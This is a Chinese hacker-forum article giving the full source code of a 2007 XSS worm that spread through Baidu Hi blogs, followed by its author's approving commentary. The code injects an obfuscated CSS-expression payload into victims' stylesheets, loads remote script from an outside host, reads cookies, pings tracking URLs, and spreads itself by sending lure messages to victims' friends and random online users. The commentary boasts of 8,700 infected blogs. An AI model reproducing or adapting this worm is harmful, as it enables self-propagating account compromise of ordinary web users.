| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文 用户登录 新用户注册
  baidu xss蠕虫--XSS WORM技术分析          【字体:
baidu xss蠕虫--XSS WORM技术分析
作者:剑心    文章来源:www.loveshell.net    点击数:    更新时间:2007-12-30    
baidu已经响应这个事件,官方也对这个事情有反应,公告在http://hi.baidu.com/%B0%D9%B6%C8%BF%D5%BC%E4/blog/item/0e3433fa69eeb61aa8d3110f.html
window.onerror = killErrors;
execScript(unescape('Function%20URLEncoding%28vstrIn%29%0A%20%20%20%20strReturn%20%3D%20%22%22%0A%20%20%20%20For%20aaaa%20%3D%201%20To%20Len%28vstrIn%29%0A%20%20%20%20%20%20%20%20ThisChr%20%3D%20Mid%28vStrIn%2Caaaa%2C1%29%0A%20%20%20%20%20%20%20%20If%20Abs%28Asc%28ThisChr%29%29%20%3C%20%26HFF%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20ThisChr%0A%20%20%20%20%20%20%20%20Else%0A%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20Asc%28ThisChr%29%0A%20%20%20%20%20%20%20%20%20%20%20%20If%20innerCode%20%3C%200%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20innerCode%20+%20%26H10000%0A%20%20%20%20%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20%20%20%20%20%20%20%20%20Hight8%20%3D%20%28innerCode%20%20And%20%26HFF00%29%5C%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20Low8%20%3D%20innerCode%20And%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20%22%25%22%20%26%20Hex%28Hight8%29%20%26%20%20%22%25%22%20%26%20Hex%28Low8%29%0A%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20Next%0A%20%20%20%20URLEncoding%20%3D%20strReturn%0AEnd%20Function'),'VBScript');
cookie='';
cookieval=document.cookie;
spaceid=spaceurl;
myhibaidu="http://hi.baidu.com"+spaceid;
xmlhttp=poster();
debug=0;

online();

if(spaceid!='/') {
if(debug==1) {
 goteditcss();
 document.cookie='xssshell/owned/you!';
}
if(cookieval.indexOf('xssshell')==-1) {
goteditcss();
document.cookie='xssshell/owned/you!';
}
}

function makeevilcss(spaceid,editurl,use){
playload="a{evilmask:ex/*exp/**/ression*/pression(execScript(unescape('d%253D%2522doc%2522%252B%2522ument%2522%253B%250D%250Ai%253D%2522function%2520load%2528%2529%257Bvar%2520x%253D%2522%252Bd%252B%2522.createElement%2528%2527SCRIPT%2527%2529%253Bx.src%253D%2527http%253A//www.18688.com/cache/1.js%2527%253Bx.defer%253Dtrue%253B%2522%252Bd%252B%2522.getElementsByTagName%2528%2527HEAD%2527%2529%255B0%255D.appendChild%2528x%2529%257D%253Bfunction%2520inject%2528%2529%257Bwindow.setTimeout%2528%2527load%2528%2529%2527%252C1000%2529%257D%253Bif%2528window.x%2521%253D1%2529%257Bwindow.x%253D1%253Binject%2528%2529%257D%253B%2522%250D%250AexecScript%2528i%2529')))}";
action=myhibaidu+"/commit";
spCssUse=use;
s=getmydata(editurl);

re = /\<input type=\"hidden\" id=\"ct\" name=\"ct\" value=\"(.*?)\"/i;
ct = s.match(re);
ct=(ct[1]);

re = /\<input type=\"hidden\" id=\"cm\" name=\"cm\" value=\"(.*?)\"/i;
cm = s.match(re);
cm=(cm[1])/1+1;

re = /\<input type=\"hidden\" id=\"spCssID\" name=\"spCssID\" value=\"(.*?)\"/i;
spCssID = s.match(re);
spCssID=(spCssID[1]);

spRefUrl=editurl;

re = /\<textarea(.*?)\>([^\x00]*?)\<\/textarea\>/i;
spCssText = s.match(re);
spCssText=spCssText[2];
spCssText=URLEncoding(spCssText);

if(spCssText.indexOf('evilmask')!==-1) {
 return 1;
}
else spCssText=spCssText+"\r\n\r\n"+playload;

re = /\<input name=\"spCssName\"(.*?)value=\"(.*?)\">/i;
spCssName = s.match(re);
spCssName=spCssName[2];

re = /\<input name=\"spCssTag\"(.*?)value=\"(.*?)\">/i;
spCssTag = s.match(re);
spCssTag=spCssTag[2];

postdata="ct="+ct+"&spCssUse=1"+"&spCssColorID=1"+"&spCssLayoutID=-1"+"&spRefURL="+URLEncoding(spRefUrl)+"&spRefURL="+URLEncoding(spRefUrl)+"&cm="+cm+"&spCssID="+spCssID+"&spCssText="+spCssText+"&spCssName="+URLEncoding(spCssName)+"&spCssTag="+URLEncoding(spCssTag);
result=postmydata(action,postdata);
sendfriendmsg();
count();
hack();
}

function goteditcss() {
src="http://hi.baidu.com"+spaceid+"/modify/spcrtempl/0";
s=getmydata(src);
re = /\<link rel=\"stylesheet\" type=\"text\/css\" href=\"(.*?)\/css\/item\/(.*?)\.css\">/i;
r = s.match(re);
nowuse=r[2];
makeevilcss(spaceid,"http://hi.baidu.com"+spaceid+"/modify/spcss/"+nowuse+".css/edit",1);
return 0;
}

function poster(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}

function postmydata(action,data){
xmlhttp.open("POST", action, false);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.send(data);
 return xmlhttp.responseText;
}

function getmydata(action){
xmlhttp.open("GET", action, false);
xmlhttp.send();
 return xmlhttp.responseText;
}

function killErrors() {
 return true;
}

function count() {
 a=new Image();
 a.src='http://img.users.51.la/1563171.asp';
 return 0;
}

function online() {
 online=new Image();
 online.src='http://img.users.51.la/1563833.asp ';
 return 0;
}

function hack() {
 return 0;
}

function sendfriendmsg(){
 myfurl=myhibaidu+"/friends";
 s=getmydata(myfurl);
 evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu;

 var D=function(A,B){A[A.length]=B;};
 re = /(.+)D\(k\,\[([^\]]+?)\]\)(.*)/g;
 friends = s.match(re);
 eval(friends[0]);
 for(i in k) {
 eval('msgimg'+i+'=new Image();');
 eval('msgimg'+i+'.src="http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn="+URLEncoding(k[i][2])+"&co="+URLEncoding(evilmsg)+"&vcodeinput=";');
 }
}
后来又增加一个传播函数,不过那个时候他们好象已经开始封了
function onlinemsg(){

doit=Math.floor(Math.random() * (600 + 1));
if(doit>500) {
evilonlinemsg="哈哈,还记得我不,加个友情连接吧?\r\n\r\n\r\n我的地址是"+myhibaidu;
xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async=false;
xmlDoc.load("http://hi.baidu.com/sys/file/moreonline.xml");
online=xmlDoc.documentElement;
users=online.getElementsByTagName("id");
x=Math.floor(Math.random() * (200 + 1));
eval('msgimg'+x+'=new Image();');
eval('msgimg'+x+'.src="http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn="+URLEncoding(users[x].text)+"&co="+URLEncoding(evilonlinemsg)+"&vcodeinput=";');
}
}

上面基本就是代码,总体来说还是很有意思的.首先就是漏洞,由茄子宝同学发现的,他人品还真是好呀,那个过滤多一个字符都不行,甚至挪一个位置都是不行,恩,强大,就是上面的playload部分.这个虫子比较特殊的地方是感染ie用户,其他用户无影响,另外就是完全可以隐蔽地传播,因为只是在css加代码并不会有什么明显的地方,唯一的缺陷是有点卡.所以完全可以长时间地存在,感染面不限制于blog,存在css的地方都可以,譬如profile.另外比较强大的一点就是跟真正的虫子一样,不只是被动地等待,选择了在好友发消息引诱别人过来访问自己的blog,利用好奇心可以做到这点.最后还加了个给在线人随机发消息请求加连接的,威力可能更大,因为会创造比较大的基数,这样一感染就是一个blog.到baidu封锁时,这个虫子已经感染了8700多个blog.总体来说还不错,本来想作为元旦的一个贺礼,不过还是提前死掉了,还不错,呵呵.可以看到,在代码和流程里运用了很多系统本身就有的特性,自己挖掘吧.
文章录入:adminix    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    完整的XSS wrom网站入侵实例
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.